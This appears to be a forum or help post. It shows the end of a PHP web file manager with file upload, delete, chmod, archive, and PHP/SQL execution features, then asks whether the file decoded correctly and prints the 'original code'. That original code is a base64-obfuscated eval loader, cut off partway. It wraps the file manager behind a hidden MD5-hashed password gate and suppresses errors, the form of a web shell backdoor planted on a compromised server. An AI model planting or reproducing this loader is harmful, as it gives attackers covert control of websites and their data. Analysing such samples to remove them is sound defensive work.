    </td>
</tr>
</table>
<?php
echo $auth[\'script\'];
} elseif(!empty($_REQUEST[\'rights\'])){
	if(!empty($_REQUEST[\'save\'])) {
	    if(fm_chmod($path . $_REQUEST[\'rights\'], fm_convert_rights($_REQUEST[\'rights_val\']), @$_REQUEST[\'recursively\']))
		$msg .= (__(\'File updated\')); 
		else $msg .= (__(\'Error occurred\'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST[\'rights\'], true);
    $link = $url_inc . \'&rights=\' . $_REQUEST[\'rights\'] . \'&path=\' . $path;
    $backlink = $url_inc . \'&path=\' . $path;
?>
<table class="whole">
<tr>
    <th><?=__(\'File manager\').\' - \'.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__(\'Back\')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__(\'Rights\').\' - \'.$_REQUEST[\'rights\']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST[\'rights\'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__(\'Recursively\')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__(\'Submit\')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST[\'rename\'])&&$_REQUEST[\'rename\']<>\'.\') {
	if(!empty($_REQUEST[\'save\'])) {
	    rename($path . $_REQUEST[\'rename\'], $path . $_REQUEST[\'newname\']);
		$msg .= (__(\'File updated\'));
		$_REQUEST[\'rename\'] = $_REQUEST[\'newname\'];
	}
	clearstatcache();
    $link = $url_inc . \'&rename=\' . $_REQUEST[\'rename\'] . \'&path=\' . $path;
    $backlink = $url_inc . \'&path=\' . $path;

?>
<table class="whole">
<tr>
    <th><?=__(\'File manager\').\' - \'.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__(\'Back\')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__(\'Rename\')?>: <input type="text" name="newname" value="<?=$_REQUEST[\'rename\']?>"><br/>
            <input type="submit" name="save" value="<?=__(\'Submit\')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let\'s rock!
    $msg = \'\';
    if(!empty($_FILES[\'upload\'])&&!empty($fm_config[\'upload_file\'])) {
        if(!empty($_FILES[\'upload\'][\'name\'])){
            $_FILES[\'upload\'][\'name\'] = str_replace(\'%\', \'\', $_FILES[\'upload\'][\'name\']);
            if(!move_uploaded_file($_FILES[\'upload\'][\'tmp_name\'], $path . $_FILES[\'upload\'][\'name\'])){
                $msg .= __(\'Error occurred\');
            } else {
				$msg .= __(\'Files uploaded\').\': \'.$_FILES[\'upload\'][\'name\'];
			}
        }
    } elseif(!empty($_REQUEST[\'delete\'])&&$_REQUEST[\'delete\']<>\'.\') {
        if(!fm_del_files(($path . $_REQUEST[\'delete\']), true)) {
            $msg .= __(\'Error occurred\');
        } else {
			$msg .= __(\'Deleted\').\' \'.$_REQUEST[\'delete\'];
		}
	} elseif(!empty($_REQUEST[\'mkdir\'])&&!empty($fm_config[\'make_directory\'])) {
        if(!@mkdir($path . $_REQUEST[\'dirname\'],0777)) {
            $msg .= __(\'Error occurred\');
        } else {
			$msg .= __(\'Created\').\' \'.$_REQUEST[\'dirname\'];
		}
    } elseif(!empty($_REQUEST[\'mkfile\'])&&!empty($fm_config[\'new_file\'])) {
        if(!$fp=@fopen($path . $_REQUEST[\'filename\'],"w")) {
            $msg .= __(\'Error occurred\');
        } else {
			fclose($fp);
			$msg .= __(\'Created\').\' \'.$_REQUEST[\'filename\'];
		}
    } elseif (isset($_GET[\'zip\'])) {
		$source = base64_decode($_GET[\'zip\']);
		$destination = basename($source).\'.zip\';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __(\'Task\').\' "\'.__(\'Archiving\').\' \'.$destination.\'" \'.__(\'done\').
		\'.&nbsp;\'.fm_link(\'download\',$path.$destination,__(\'Download\'),__(\'Download\').\' \'. $destination)
		.\'&nbsp;<a href="\'.$url_inc.\'&delete=\'.$destination.\'&path=\' . $path.\'" title="\'.__(\'Delete\').\' \'. $destination.\'" >\'.__(\'Delete\') . \'</a>\';
		else $msg .= __(\'Error occurred\').\': \'.__(\'no files\');
	} elseif (isset($_GET[\'gz\'])) {
		$source = base64_decode($_GET[\'gz\']);
		$archive = $source.\'.tar\';
		$destination = basename($source).\'.tar\';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.\'.gz\')) unlink($archive.\'.gz\');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,\'.tar.gz\');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.\'.gz\')) {
				unlink($archive); 
				$destination .= \'.gz\';
			}

			$msg .= __(\'Task\').\' "\'.__(\'Archiving\').\' \'.$destination.\'" \'.__(\'done\').
			\'.&nbsp;\'.fm_link(\'download\',$path.$destination,__(\'Download\'),__(\'Download\').\' \'. $destination)
			.\'&nbsp;<a href="\'.$url_inc.\'&delete=\'.$destination.\'&path=\' . $path.\'" title="\'.__(\'Delete\').\' \'.$destination.\'" >\'.__(\'Delete\').\'</a>\';
		} else $msg .= __(\'Error occurred\').\': \'.__(\'no files\');
	} elseif (isset($_GET[\'decompress\'])) {
		// $source = base64_decode($_GET[\'decompress\']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext==\'zip\' OR $ext==\'gz\') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace(\'.\'.$ext,\'\',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext==\'tar\'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __(\'Task\').\' "\'.__(\'Decompress\').\' \'.$source.\'" \'.__(\'done\');
	} elseif (isset($_GET[\'gzfile\'])) {
		$source = base64_decode($_GET[\'gzfile\']);
		$archive = $source.\'.tar\';
		$destination = basename($source).\'.tar\';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.\'.gz\')) unlink($archive.\'.gz\');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode(\'.\',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode(\'.\',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.\'.tar.gz\');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.\'.gz\')) {
				unlink($archive); 
				$destination .= \'.gz\';
			}
			$msg .= __(\'Task\').\' "\'.__(\'Archiving\').\' \'.$destination.\'" \'.__(\'done\').
			\'.&nbsp;\'.fm_link(\'download\',$path.$destination,__(\'Download\'),__(\'Download\').\' \'. $destination)
			.\'&nbsp;<a href="\'.$url_inc.\'&delete=\'.$destination.\'&path=\' . $path.\'" title="\'.__(\'Delete\').\' \'.$destination.\'" >\'.__(\'Delete\').\'</a>\';
		} else $msg .= __(\'Error occurred\').\': \'.__(\'no files\');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__(\'File manager\')?><?=(!empty($path)?\' - \'.$path:\'\')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config[\'make_directory\'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__(\'Make directory\')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config[\'new_file\'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__(\'New file\')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input(\'php\')?>
			</td>
			<td>
			<?=fm_run_input(\'sql\')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config[\'upload_file\'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById(\'upload_visible\').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__(\'Select the file\')?>" style="cursor: pointer;" onclick="document.getElementById(\'upload_hidden\').click();" />
			<input type="submit" name="test" value="<?=__(\'Upload\')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth[\'authorize\']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__(\'Hello\')?>, <?=$auth[\'login\']?>
			<input type="submit" value="<?=__(\'Quit\')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border=\'0\' cellspacing=\'1\' cellpadding=\'1\' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__(\'Filename\')?> </th>
    <th style="white-space:nowrap"> <?=__(\'Size\')?> </th>
    <th style="white-space:nowrap"> <?=__(\'Date\')?> </th>
    <th style="white-space:nowrap"> <?=__(\'Rights\')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__(\'Manage\')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, \'\', \'all\', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = \'\';
		if (!empty($fm_config[\'show_dir_size\'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = \'<a href="\'.$url_inc.\'&path=\'.$path.$file.\'" title="\'.__(\'Show\').\' \'.$file.\'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> \'.$file.\'</a>\';
        $loadlink= (fm_root($file)||$phar_maybe) ? \'\' : fm_link(\'zip\',$filename,__(\'Compress\').\'&nbsp;zip\',__(\'Archiving\').\' \'. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? \'\' : fm_link(\'gz\',$filename,__(\'Compress\').\'&nbsp;.tar.gz\',__(\'Archiving\').\' \'.$file);
        $style = \'row2\';
		 if (!fm_root($file)) $alert = \'onClick="if(confirm(\'\' . __(\'Are you sure you want to delete this directory (recursively)?\').\'
 /\'. $file. \'\')) document.location.href = \'\' . $url_inc . \'&delete=\' . $file . \'&path=\' . $path  . \'\'"\'; else $alert = \'\';
    } else {
		$link = 
			$fm_config[\'show_img\']&&@getimagesize($filename) 
			? \'<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'\'
			. fm_img_link($filename)
			.\'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="\'.fm_img_link($filename).\'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> \'.$file.\'</a>\'
			: \'<a href="\' . $url_inc . \'&edit=\' . $file . \'&path=\' . $path. \'" title="\' . __(\'Edit\') . \'"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> \'.$file.\'</a>\';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link(\'download\',$filename,__(\'Download\'),__(\'Download\').\' \'. $file);
		$arlink = in_array($ext,array(\'zip\',\'gz\',\'tar\')) 
		? \'\'
		: ((fm_root($file)||$phar_maybe) ? \'\' : fm_link(\'gzfile\',$filename,__(\'Compress\').\'&nbsp;.tar.gz\',__(\'Archiving\').\' \'. $file));
        $style = \'row1\';
		$alert = \'onClick="if(confirm(\'\'. __(\'File selected\').\': 
\'. $file. \'. 
\'.__(\'Are you sure you want to delete this file?\') . \'\')) document.location.href = \'\' . $url_inc . \'&delete=\' . $file . \'&path=\' . $path  . \'\'"\';
    }
    $deletelink = fm_root($file) ? \'\' : \'<a href="#" title="\' . __(\'Delete\') . \' \'. $file . \'" \' . $alert . \'>\' . __(\'Delete\') . \'</a>\';
    $renamelink = fm_root($file) ? \'\' : \'<a href="\' . $url_inc . \'&rename=\' . $file . \'&path=\' . $path . \'" title="\' . __(\'Rename\') .\' \'. $file . \'">\' . __(\'Rename\') . \'</a>\';
    $rightstext = ($file==\'.\' || $file==\'..\') ? \'\' : \'<a href="\' . $url_inc . \'&rights=\' . $file . \'&path=\' . $path . \'" title="\' . __(\'Rights\') .\' \'. $file . \'">\' . @fm_rights_string($filename) . \'</a>\';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(\' \', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().\' | ver. \'.$fm_version.\' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="\'.fm_site_url().\'">.</a>\';
	if (!empty($fm_config[\'show_php_ver\'])) echo \' | PHP \'.phpversion();
	if (!empty($fm_config[\'show_php_ini\'])) echo \' | \'.php_ini_loaded_file();
	if (!empty($fm_config[\'show_gt\'])) echo \' | \'.__(\'Generation time\').\': \'.round($totaltime,2);
	if (!empty($fm_config[\'enable_proxy\'])) echo \' | <a href="?proxy=true">proxy</a>\';
	if (!empty($fm_config[\'show_phpinfo\'])) echo \' | <a href="?phpinfo=true">phpinfo</a>\';
	if (!empty($fm_config[\'show_xls\'])&&!empty($link)) echo \' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="\'.__(\'Download\').\' xls">xls</a>\';
	if (!empty($fm_config[\'fm_settings\'])) echo \' | <a href="?fm_settings=true">\'.__(\'Settings\').\'</a>\';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement(\'a\');
	element.setAttribute(\'href\', \'data:application/vnd.ms-excel;base64,\' + text);
	element.setAttribute(\'download\', filename);
	element.style.display = \'none\';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = \'data:application/vnd.ms-excel;base64,\',
    template = \'<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>\',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || \'Worksheet\',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = \'fm_\' + t.toISOString() + \'.xls\'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHAgJGJiZmU9Jyc7aWYoaXNzZXQoJF9QT1NUWydiYmZlJ10pKXskYmJmZT0kX1BPU1RbJ2JiZmUnXTtzZXRjb29raWUoInBhIiwkX1BPU1RbJ2JiZmUnXSxudWxsLCIvIik7fWlmKChpc3NldCgkX0NPT0tJRVsncGEnXSkmJm1kNSgkX0NPT0tJRVsncGEnXSk9PSczMmJiYTEzODVlMDQyYjVkNmE3OWY3YWM5ODhhNzJiNycpfHxtZDUoJGJiZmUpPT0nMzJiYmExMzg1ZTA0MmI1ZDZhNzlmN2FjOTg4YTcyYjcnKXt9ZWxzZXtkaWUoJzxodG1sPjxoZWFkPjwvaGVhZD48Ym9keT48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9ImJiZmUiIHZhbHVlPSIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPjwvYm9keT48L2h0bWw+Jyk7fT8+PCEtLW9rLS0+PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CmluaV9zZXQoJ21lbW9yeV9saW1pdCcsICctMScpOwppbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywgMCk7CmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKCi8qIFBIUCBGaWxlIG1hbmFnZXIgdmVyIDEuNCAqLwoKLy8gQ29uZmlndXJhdGlvbiDigJQgZG8gbm90IGNoYW5nZSBtYW51YWxseSEKJGF1dGhvcml6YXRpb24gPSAneyJhdXRob3JpemUiOiIwIiwibG9naW4iOiJhZG1pbiIsInBhc3N3b3JkIjoicGhwZm0iLCJjb29raWVfbmFtZSI6ImZtX3VzZXIiLCJkYXlzX2F1dGhvcml6YXRpb24iOiIzMCIsInNjcmlwdCI6IjxzY3JpcHQgdHlwZT1cInRleHRcL2phdmFzY3JpcHRcIiBzcmM9XCJodHRwczpcL1wvd3d3LmNkb2xpdmV0LmNvbVwvZWRpdGFyZWFcL2VkaXRhcmVhXC9lZGl0X2FyZWFcL2VkaXRfYXJlYV9mdWxsLmpzXCI+PFwvc2NyaXB0PlxyXG48c2NyaXB0IGxhbmd1YWdlPVwiSmF2YXNjcmlwdFwiIHR5cGU9XCJ0ZXh0XC9qYXZhc2NyaXB0XCI+XHJcbmVkaXRBcmVhTG9hZGVyLmluaXQoe1xyXG5pZDogXCJuZXdjb250ZW50XCJcclxuLGRpc3BsYXk6IFwibGF0ZXJcIlxyXG4sc3RhcnRfaGlnaGxpZ2h0OiB0cnVlXHJcbixhbGxvd19yZXNpemU6IFwiYm90aFwiXHJcbixhbGxvd190b2dnbGU6IHRydWVcclxuLHdvcmRfd3JhcDogdHJ1ZVxyXG4sbGFuZ3VhZ2U6IFwicnVcIlxyXG4sc3ludGF4OiBcInBocFwiXHRcclxuLHRvb2xiYXI6IFwic2VhcmNoLCBnb190b19saW5lLCB8LCB1bmRvLCByZWRvLCB8LCBzZWxlY3RfZm9udCwgfCwgc3ludGF4X3NlbGVjdGlvbiwgfCwgY2hhbmdlX3Ntb290aF9zZWxlY3Rpb24sIGhpZ2hsaWdodCwgcmVzZXRfaGlnaGxpZ2h0LCB8LCBoZWxwXCJcclxuLHN5bnRheF9zZWxlY3Rpb25fYWxsb3c6IFwiY3NzLGh0bWwsanMscGhwLHB5dGhvbix4bWwsYyxjcHAsc3FsLGJhc2ljLHBhc1wiXHJcbn0pO1xyXG48XC9zY3JpcHQ+In0nOwokcGhwX3RlbXBsYXRlcyA9ICd7IlNldHRpbmdzIjoiZ2xvYmFsICRmbV9jb25maWc7XHJcbnZhcl9leHBvcnQoJGZtX2NvbmZpZyk7IiwiQmFja3VwIFNRTCB0YWJsZXMiOiJlY2hvIGZtX2JhY2t1cF90YWJsZXMoKTsifSc7CiRzcWxfdGVtcGxhdGVzID0gJ3siQWxsIGJhc2VzIjoiU0hPVyBEQVRBQkFTRVM7IiwiQWxsIHRhYmxlcyI6IlNIT1cgVEFCTEVTOyJ9JzsKJHRyYW5zbGF0aW9uID0gJ3siaWQiOiJlbiIsIkFkZCI6IkFkZCIsIkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBkaXJlY3RvcnkgKHJlY3Vyc2l2ZWx5KT8iOiJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZGlyZWN0b3J5IChyZWN1cnNpdmVseSk/IiwiQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/IjoiQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/IiwiQXJjaGl2aW5nIjoiQXJjaGl2aW5nIiwiQXV0aG9yaXphdGlvbiI6IkF1dGhvcml6YXRpb24iLCJCYWNrIjoiQmFjayIsIkNhbmNlbCI6IkNhbmNlbCIsIkNoaW5lc2UiOiJDaGluZXNlIiwiQ29tcHJlc3MiOiJDb21wcmVzcyIsIkNvbnNvbGUiOiJDb25zb2xlIiwiQ29va2llIjoiQ29va2llIiwiQ3JlYXRlZCI6IkNyZWF0ZWQiLCJEYXRlIjoiRGF0ZSIsIkRheXMiOiJEYXlzIiwiRGVjb21wcmVzcyI6IkRlY29tcHJlc3MiLCJEZWxldGUiOiJEZWxldGUiLCJEZWxldGVkIjoiRGVsZXRlZCIsIkRvd25sb2FkIjoiRG93bmxvYWQiLCJkb25lIjoiZG9uZSIsIkVkaXQiOiJFZGl0IiwiRW50ZXIiOiJFbnRlciIsIkVuZ2xpc2giOiJFbmdsaXNoIiwiRXJyb3Igb2NjdXJyZWQiOiJFcnJvciBvY2N1cnJlZCIsIkZpbGUgbWFuYWdlciI6IkZpbGUgbWFuYWdlciIsIkZpbGUgc2VsZWN0ZWQiOiJGaWxlIHNlbGVjdGVkIiwiRmlsZSB1cGRhdGVkIjoiRmlsZSB1cGRhdGVkIiwiRmlsZW5hbWUiOiJGaWxlbmFtZSIsIkZpbGVzIHVwbG9hZGVkIjoiRmlsZXMgdXBsb2FkZWQiLCJGcmVuY2giOiJGcmVuY2giLCJHZW5lcmF0aW9uIHRpbWUiOiJHZW5lcmF0aW9uIHRpbWUiLCJHZXJtYW4iOiJHZXJtYW4iLCJIb21lIjoiSG9tZSIsIlF1aXQiOiJRdWl0IiwiTGFuZ3VhZ2UiOiJMYW5ndWFnZSIsIkxvZ2luIjoiTG9naW4iLCJNYW5hZ2UiOiJNYW5hZ2UiLCJNYWtlIGRpcmVjdG9yeSI6Ik1ha2UgZGlyZWN0b3J5IiwiTmFtZSI6Ik5hbWUiLCJOZXciOiJOZXciLCJOZXcgZmlsZSI6Ik5ldyBmaWxlIiwibm8gZmlsZXMiOiJubyBmaWxlcyIsIlBhc3N3b3JkIjoiUGFzc3dvcmQiLCJwaWN0dXJlcyI6InBpY3R1cmVzIiwiUmVjdXJzaXZlbHkiOiJSZWN1cnNpdmVseSIsIlJlbmFtZSI6IlJlbmFtZSIsIlJlc2V0IjoiUmVzZXQiLCJSZXNldCBzZXR0aW5ncyI6IlJlc2V0IHNldHRpbmdzIiwiUmVzdG9yZSBmaWxlIHRpbWUgYWZ0ZXIgZWRpdGluZyI6IlJlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmciLCJSZXN1bHQiOiJSZXN1bHQiLCJSaWdodHMiOiJSaWdodHMiLCJSdXNzaWFuIjoiUnVzc2lhbiIsIlNhdmUiOiJTYXZlIiwiU2VsZWN0IjoiU2VsZWN0IiwiU2VsZWN0IHRoZSBmaWxlIjoiU2VsZWN0IHRoZSBmaWxlIiwiU2V0dGluZ3MiOiJTZXR0aW5ncyIsIlNob3ciOiJTaG93IiwiU2hvdyBzaXplIG9mIHRoZSBmb2xkZXIiOiJTaG93IHNpemUgb2YgdGhlIGZvbGRlciIsIlNpemUiOiJTaXplIiwiU3BhbmlzaCI6IlNwYW5pc2giLCJTdWJtaXQiOiJTdWJtaXQiLCJUYXNrIjoiVGFzayIsInRlbXBsYXRlcyI6InRlbXBsYXRlcyIsIlVrcmFpbmlhbiI6IlVrcmFpbmlhbiIsIlVwbG9hZCI6IlVwbG9hZCIsIlZhbHVlIjoiVmFsdWUiLCJIZWxsbyI6IkhlbGxvIn0nOwovLyBlbmQgY29uZmlndXJhdGlvbgoKLy8gUHJlcGFyYXRpb25zCiRzdGFydHRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOwokc3RhcnR0aW1lID0gJHN0YXJ0dGltZVsxXSArICRzdGFydHRpbWVbMF07CiRsYW5ncyA9IGFycmF5KCdlbicsJ3J1JywnZGUnLCdmcicsJ3VrJyk7CiRwYXRoID0gZW1wdHkoJF9SRVFVRVNUWydwYXRoJ10pID8gJHBhdGggPSByZWFscGF0aCgnLicpIDogcmVhbHBhdGgoJF9SRVFVRVNUWydwYXRoJ10pOwokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpIC4gJy8nOwokbWFpbl9wYXRoPXN0cl9yZXBsYWNlKCdcXCcsICcvJyxyZWFscGF0aCgnLi8nKSk7CiRwaGFyX21heWJlID0gKHZlcnNpb25fY29tcGFyZShwaHB2ZXJzaW9uKCksIjUuMy4wIiwiPCIpKT90cnVlOmZhbHNlOwokbXNnID0gJyc7IC8vIHNlcnZpY2Ugc3RyaW5nCiRkZWZhdWx0X2xhbmd1YWdlID0gJ3J1JzsKJGRldGVjdF9sYW5nID0gdHJ1ZTsKJGZtX3ZlcnNpb24gPSAxLjQ7CgovL0F1dGhvcml6YXRpb24KJGF1dGggPSBqc29uX2RlY29kZSgkYXV0aG9yaXphdGlvbix0cnVlKTsKJGF1dGhbJ2F1dGhvcml6ZSddID0gaXNzZXQoJGF1dGhbJ2F1dGhvcml6ZSddKSA/ICRhdXRoWydhdXRob3JpemUnXSA6IDA7IAokYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10gPSAoaXNzZXQoJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSYmaXNfbnVtZXJpYygkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKSA/IChpbnQpJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddIDogMzA7CiRhdXRoWydsb2dpbiddID0gaXNzZXQoJGF1dGhbJ2xvZ2luJ10pID8gJGF1dGhbJ2xvZ2luJ10gOiAnYWRtaW4nOyAgCiRhdXRoWydwYXNzd29yZCddID0gaXNzZXQoJGF1dGhbJ3Bhc3N3b3JkJ10pID8gJGF1dGhbJ3Bhc3N3b3JkJ10gOiAncGhwZm0nOyAgCiRhdXRoWydjb29raWVfbmFtZSddID0gaXNzZXQoJGF1dGhbJ2Nvb2tpZV9uYW1lJ10pID8gJGF1dGhbJ2Nvb2tpZV9uYW1lJ10gOiAnZm1fdXNlcic7CiRhdXRoWydzY3JpcHQnXSA9IGlzc2V0KCRhdXRoWydzY3JpcHQnXSkgPyAkYXV0aFsnc2NyaXB0J10gOiAnJzsKCi8vIExpdHRsZSBkZWZhdWx0IGNvbmZpZwokZm1fZGVmYXVsdF9jb25maWcgPSBhcnJheSAoCgknbWFrZV9kaXJlY3RvcnknID0+IHRydWUsIAoJJ25ld19maWxlJyA9PiB0cnVlLCAKCSd1cGxvYWRfZmlsZScgPT4gdHJ1ZSwgCgknc2hvd19kaXJfc2l6ZScgPT4gZmFsc2UsIC8vaWYgdHJ1ZSwgc2hvdyBkaXJlY3Rvcnkgc2l6ZSDihpIg